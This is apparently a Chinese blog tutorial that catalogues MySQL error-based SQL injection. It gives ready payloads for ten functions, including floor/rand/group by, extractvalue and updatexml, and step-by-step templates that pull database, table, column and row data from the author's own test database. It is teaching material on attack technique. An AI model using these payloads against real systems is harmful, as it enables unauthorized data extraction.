SQL注入之MySQL报错注入整理
看大佬们的文章看得我虎躯一震，精神抖擞，于是心血来潮，整理一下MySQL报错注入常见的手段和方法，再举几个例子
《代码审计：企业级Web代码安全架构》一书中介绍过报错注入十大方法，依次是：
1.floor() 如：select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue() 如：select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml() 如：select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection() 如：select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint() 如：select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon() 如：select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon() 如：select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring() 如：select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring() 如：select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp() 如：select * from test where id=1 and exp(~(select * from(select user())a));
前三个比较常见，后面的不咋常见，大佬另说别打我
那就借助前三个举几个例子看一下
0x01 floor()报错注入
floor报错注入三件套：floor 、count、group by
我们的目的就是制造这三者的冲突来报错
例子中的 select 1 from (select count(*),concat(user(),floor(rand(0)*2)) x from information_schema.tables group by x)a
这里粉色的x是什么？是前面concat(user(),floor(rand(0)*2))的一个别名，这样后面group by x就是group by concat(user(),floor(rand(0)*2))，让group by与floor(rand(0)*2)如命中注定一样相遇产生奇妙的反应
拿我的MySQL举个例子：我use了一个叫test的数据库，执行这么一条语句 select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2));
报错，报出来一个test就是库名，1是报错机制决定拼接出来的
什么机制？
首先要知道这几个SQL语句关键字是干啥的
group by语句：用于结合合计函数，根据一个或多个列对结果集进行分组 rand()函数：用于产生一个0-1之间的随机数 floor()函数：向下取整 count()函数：返回指定列的值的数目（NULL 不计入），count(*)：返回表中的记录数 floor(rand()*2)：rand()*2 函数生成 0-2之间的数，使用floor()函数向下取整，得到的值就是不固定的 “0” 或 “1” floor(rand(0)*2)：rand(0)*2 函数生成 0-2之间的数，使用floor()函数向下取整，但是得到的值前6位(包括第六位)是固定的。（为：011011）
concat(database(),floor(rand(0)*2))生成由‘database()+‘0’’和‘database()+‘1’’组成的随机数列，则前六个数列一定依次是：
'database()+'0''
'database()+'1''
'database()+'1''
'database()+'0''
'database()+'1''
'database()+'1''
必须是rand(0)*2 ，别的什么rand(1)*2不行，因为产生的序列不可预测
简单来说，MySQL遇到该语句时会建立一个虚拟表，有两个字段key 与 count(*)，查询数据的时候先看虚拟表中是否存在该分组，如果存在计数值加一，如果不存在新建分组。。。。。。
具体来说，感兴趣可以看一下 这篇文章 https://www.cnblogs.com/hzk001/p/12799223.html
总之想用floor报错注入成功，必须保证查的表中记录至少有3条，3条记录都没有查什么查
关于floor实际如何应用？
模板如下：
select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a （这里的a还是和上文中x一样是一个别名，在查询结果的基础上再次进行查询的时候必须要有一个别名）
粉色payload处可填写常规化MySQL注入三板斧（根据上文，我们已经事先知道了数据库名字），即
(1) select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test'),floor (rand(0)*2))x from information_schema.tables group by x)a;
爆出表名叫users （自己临时搭建的环境，一切从简，见谅见谅）
(2) select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='users' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a;
爆出列名a与b
啊，这种（我一共就设置了两列，考虑演示从简。实际的话，通过调整limit，自己玩去吧）
（3）select 1 from (select count(*),concat((select a from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a;
爆出数据2
粉色字体处随意更换
实际应用到SQL注入中就不举例了，没找到什么好的环境，如果有的话注意过滤和闭合
0x02 extractvalue()报错注入
extractvalue()是一个对XML文档进行查询的函数
语法 extractvalue(目标xml文档，xml路径)
其中第二个参数 “xml路径” 必须是遵循/xxxx/xxxx/xxxx这种格式的，x处是啥是几位都无所谓，只要你遵循了这个格式，即使没查到也不会报错
所以只要让第二个参数不满足条件，就会报错
extractvalue()能查询字符串的最大长度为32，如果想要的结果超过32，就需要用substring()函数截取，一次查看32位
模板就是
加上~好看一些， 后面那个显示数据路径的，就是超长度了，截断了
0x03 updatexml()报错注入
updatexml()是更新xml文档的函数
语法 updatexml(目标xml文档，xml路径，更新的内容)
模板是and updatexml(1, payload,1)
和extractvalue()一样，也是让第二个参数“xml路径”报错，让他返回的不是xml格式的东西。同样是32位截断
爆出数据库名test
在CTF中见过连续两个SQL注入，第二个知识点考察报错注入的，当时wp用的就是updatexml报错注入，给当年我幼小的心灵造成了巨大的创伤
随便转载，请标明作者出处
